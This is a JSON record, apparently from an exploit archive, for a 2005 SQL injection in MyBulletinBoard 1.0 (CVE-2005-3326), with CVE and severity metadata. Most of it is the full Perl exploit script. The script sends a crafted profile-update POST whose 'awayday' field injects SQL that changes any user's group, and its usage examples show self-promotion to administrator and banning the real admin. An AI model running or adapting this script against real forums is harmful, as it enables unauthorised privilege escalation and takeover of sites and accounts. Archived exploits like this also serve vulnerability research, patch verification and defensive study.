{"exploit":{"id":"EDB-26396","name":"MyBulletinBoard (MyBB) 1.0 - 'usercp.php' SQL Injection (SQLi)","description":"MyBulletinBoard (MyBB) 1.0 - 'usercp.php' SQL Injection (SQLi)","cves":["CVE-2005-3326"],"author":"Animal","published":"2005-10-26","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/26396","path":"exploits/php/webapps/26396.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-26396.pl","vulnerabilities":[{"id":"CVE-2005-3326","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in usercp.php in MyBulletinBoard (MyBB) allows remote attackers to execute arbitrary SQL commands via the awayday parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-3326","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-3326"},"updatedAt":"2024-08-07T23:10:07.624Z","retrievedAt":"2026-11-27T11:09:29.257Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-26396.png?v=2","url":"https://exploitbin.com/exploits/EDB-26396","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-26396/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-26396/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n# source: https://web.archive.org/web/2005/https://www.securityfocus.com/bid/15204/info\n\n# MyBulletinBoard is prone to an SQL injection vulnerability.\n\n# This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.\n\n# Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Reports indicate that an attacker can gain administrative access by exploiting this issue.\n\n\n###   MyBB Preview Release 2 SQL-Injection PoC ExPlOiT   ###\n###   ------------------------------------------------   ###\n###   To use this you have to be registered member on    ###\n###   a target.                                          ###\n###   ------------------------------------------------   ###\n###   Glossary:                                          ###\n###     [MYBBUSER] - name of the field in cookie;        ###\n###     [YOUR_ID]  - your uid :)                         ###\n###     [ID]       - victim uid                          ###\n###   Available groups:                                  ###\n###     1 - Unregistered / Not Logged In                 ###\n###     2 - Registered                                   ###\n###     3 - Super Moderators                             ###\n###     4 - Administrators                               ###\n###     5 - Awayting Activation                          ###\n###     6 - Moderators                                   ###\n###     7 - Banned                                       ###\n###   ------------------------------------------------   ###\n###   Examples:                                          ###\n###    1) TROUBLE --> U need an admin privileges.        ###\n###       USAGE --> mybbpr2.pl -u [MYBBUSER] -i          ###\n###                 [YOUR_ID] -g 4 server /mybb/         ###\n###    2) TROUBLE --> U need to ban real admin.          ###\n###       USAGE --> mybbpr2.pl -u [MYBBUSER] -i          ###\n###                 [ID] -g 7 server /mybb/              ###\n\nuse IO::Socket;\n\n$tmp=0;\n\nwhile($tmp<@ARGV)\n{\n if($ARGV[$tmp] eq \"-u\")\n  {\n   $mbuser=$ARGV[$tmp+1];\n   $tmp++;\n  }\n if($ARGV[$tmp] eq \"-i\")\n  {\n   $id=$ARGV[$tmp+1];\n   $tmp++;\n  }\n if($ARGV[$tmp] eq \"-g\")\n  {\n   $ugr=$ARGV[$tmp+1];\n   $tmp++;\n  }\n if($ARGV[$tmp] eq \"-h\")\n  {\n   &f_help();\n  }\n $tmp++;\n}\n\n$target=$ARGV[@ARGV-2];\n$path  =$ARGV[@ARGV-1];\n\nif(!$mbuser || !$id || !$ugr)\n{\n &f_die(\"Some options aren't specified\");\n}\nprint \"\\r\\n Attacking http://$target\\r\\n\";\n\n$sock = IO::Socket::INET->new( Proto => \"tcp\", PeerAddr => \"$target\",\nPeerPort => \"80\") || &f_die(\"Can't connect to $target\");\n$str=\"bday1=&bday2=&bday3=&website=&fid3=Undisclosed&fid1=&fid2=&usertitle=&icq=&aim=&msn=&yahoo=&away=yes&awayreason=Hacking+The+World&awayday=1-1-2009%27%2C+usergro\nup=%27$ugr%27+WHERE+uid=%27$id%27+%2F%2A&awaymonth=1&awayyear=2009&action=do_profile&regsubmit=Update+Profile\";\n\nprint $sock \"POST $path/usercp.php HTTP/1.1\\nHost: $target\\nAccept:\n*/*\\nCookie: mybbuser=$mbuser\\nConnection: close\\nContent-Type:\napplication/x-www-form-urlencoded\\nContent-Length:\n\".length($str).\"\\n\\n$str\\n\";\nwhile(<$sock>)\n{\n if (/Thank you/i) { print \"\\r\\n Looks like successfully exploited\\r\\n\nJust check it.\\r\\n\"; exit(0)}\n}\nprint \"\\r\\n Looks like exploit failed :[\\r\\n\";\n\n#----------------------------------#\n#   S  u  B  r  O  u  T  i  N  e   #\n#----------------------------------#\n\n\nsub f_help()\n{\nprint q(\n Usage: mybbpr2.pl <OPTIONS> SERVER PATH\n Options:\n  -u USERKEY        mybbuser field from cookie.\n  -i UID            User's uid. (Change group 4 this user)\n  -g GROUP          New usergroup. (1-7)\n  -h                Displays this help.\n  );\n exit(-1);\n}\n#'\nsub f_die($)\n{\n print \"\\r\\nERROR: $_[0]\\r\\n\";\n exit(-1);\n}","sha256":"491702584c57a782bcdd94ae300227d3fab56cd600d5f811f30c5ee49bde5b3d","bytes":3869,"fetchedAt":"2026-11-27T11:09:26.586Z","encoding":"utf-8 (display only; download retains original bytes)"}